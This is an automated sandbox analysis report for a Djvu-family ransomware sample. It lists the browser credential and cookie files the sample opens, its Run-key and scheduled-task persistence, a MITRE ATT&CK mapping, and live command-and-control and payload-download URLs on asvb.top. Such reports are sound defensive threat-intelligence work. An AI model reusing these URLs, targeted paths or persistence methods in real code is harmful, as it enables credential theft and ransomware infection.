Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Services File Permissions Weakness	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Services File Permissions Weakness	1 Masquerading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Virtualization/Sandbox Evasion	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Services File Permissions Weakness	DCSync	11 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
f6ffg1sZS2.exe	82%	ReversingLabs	Win32.Trojan.Glupteba
f6ffg1sZS2.exe	100%	Avira	HEUR/AGEN.1319085
f6ffg1sZS2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	82%	ReversingLabs	Win32.Trojan.Glupteba

Source	Detection	Scanner	Label	Link
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
asvb.top	92.246.89.93	true	true		unknown
api.2ip.ua	188.114.96.3	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.2ip.ua/geo.json	false		unknown
http://asvb.top/nddddhsspen6/get.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://asvb.top/files/penelop/updatewin1.exe$run	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/4.exerun980st	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin.exe	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://asvb.top/files/penelop/4.exe	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://asvb.top/files/penelop/5.exei	f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/5.exeles/penelop/5.exe	f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://we.tl/t-B0FsLNO3fN	f6ffg1sZS2.exe, 00000002.00000003.2406028397.0000000001476000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407772363.0000000001477000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.2.dr	true		unknown
http://www.amazon.com/	f6ffg1sZS2.exe, 00000002.00000003.1994472254.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.json.	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/andre-fuchs/kerning-pairs/blob/master/LICENSE.md).	30264859306.ttf.2.dr, 37262344671.ttf.2.dr	false		unknown
http://www.twitter.com/	f6ffg1sZS2.exe, 00000002.00000003.1994818727.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/3.exe	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://asvb.top/files/penelop/5.exe$runtran	f6ffg1sZS2.exe, 00000002.00000003.2023448656.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2050336258.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin.exerunjt	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.openssl.org/support/faq.html	f6ffg1sZS2.exe	false	URL Reputation: safe	unknown
https://we.tl/t-B0FsLNO3	f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	f6ffg1sZS2.exe	false		unknown
https://api.2ip.ua/geo.jsonu	f6ffg1sZS2.exe, 00000008.00000002.1925337254.00000000015AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin.exe$run	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	f6ffg1sZS2.exe, 00000002.00000003.2023448656.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2050336258.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.json:0	f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonv	f6ffg1sZS2.exe, 00000000.00000003.1705331926.0000000000649000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000000.00000002.1715299706.000000000063A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin1.exe	f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://api.2ip.ua/geo.jsons	f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/Nsyn	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonr	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/4.exe$run	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/l	f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/5.exerun980	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin2.exeJ	f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin.exe$	f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/5.exe	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.reddit.com/	f6ffg1sZS2.exe, 00000002.00000003.1994765702.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.json-Agent:	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonjDk	f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin2.exe	f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://asvb.top/files/penelop/3.exerunxt	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/updatewin2.exe$run	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.nytimes.com/	f6ffg1sZS2.exe, 00000002.00000003.1994717464.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/3.exek	f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/	f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637P	f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637Q	f6ffg1sZS2.exe, 00000003.00000002.2942665032.000000000090E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/i	f6ffg1sZS2.exe, 00000000.00000002.1715299706.0000000000613000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsond	f6ffg1sZS2.exe, 00000003.00000002.2942665032.0000000000953000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.json?	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.json:axz	f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/$z	f6ffg1sZS2.exe, 00000003.00000002.2942665032.0000000000953000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/4.exea	f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.youtube.com/	f6ffg1sZS2.exe, 00000002.00000003.1994919310.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/3.exe$run	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/G	f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.wikipedia.com/	f6ffg1sZS2.exe, 00000002.00000003.1994867865.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://asvb.top/files/penelop/5.exe$run	f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.live.com/	f6ffg1sZS2.exe, 00000002.00000003.1994667477.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonK	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonJ	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonE	f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.google.com/	f6ffg1sZS2.exe, 00000002.00000003.1994620034.000000000A390000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://api.2ip.ua/geo.jsonB	f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	api.2ip.ua	European Union		13335	CLOUDFLARENETUS	false
92.246.89.93	asvb.top	Russian Federation		49558	LIVECOMM-ASRespublikanskayastr3k6RU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543353
Start date and time:	2024-10-27 18:30:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f6ffg1sZS2.exe renamed because original name is a hash value
Original Sample Name:	d83013d86062dab8e194ad14da91a214d2e539d1a9fff3e29c9e2e02f4bf9d07.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@8/1345@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 93 Number of non-executed functions: 224
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: f6ffg1sZS2.exe

Simulations

Behavior and APIs

Time	Type	Description
13:31:31	API Interceptor	1x Sleep call for process: f6ffg1sZS2.exe modified
17:31:05	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe s>--Task
17:31:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart
17:31:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	dddotx.shop/Mine/PWS/fre.php
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/nwtkd
92.246.89.93	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	asvb.top/files/penelop/5.exe
	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	znpst.top/dl/build2.exe
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	fuyt.org/test1/get.php?pid=3C8DAB0A318E3BBE55D6418C454BF200
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	afeifieuuufufufuf.su/tldr.php?newinf=1
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
asvb.top	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	92.246.89.93
	stop_packed.exe	Get hash	malicious	Djvu	Browse	35.186.238.101
	3uOVAaXGdV.exe	Get hash	malicious	Djvu	Browse	35.237.46.9
	MV4WSB1Wje.exe	Get hash	malicious	Djvu	Browse	35.236.78.72
	GaUJ2oJBUY.exe	Get hash	malicious	Djvu	Browse	35.236.78.72
	y74H7ek2rC.exe	Get hash	malicious	Djvu	Browse	35.236.78.72
	MoDLWYDM3Z.exe	Get hash	malicious	Djvu	Browse	35.236.78.72
	N7mpyuk0CI.exe	Get hash	malicious	Djvu	Browse	35.236.78.72
api.2ip.ua	buildz.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	Q3FGHfhdgU.exe	Get hash	malicious	Djvu	Browse	188.114.96.3
	Wm0uFsapfrnONF16Njxegq7s.exe	Get hash	malicious	Djvu	Browse	188.114.97.3
	66d5df681876c_file010924.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	cHZiG7fsJb.exe	Get hash	malicious	Metasploit	Browse	212.192.213.56
	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	92.246.89.93
	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	92.246.89.93
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	92.246.89.93
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
CLOUDFLARENETUS	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	K3SRs78CAv.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.64.165
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
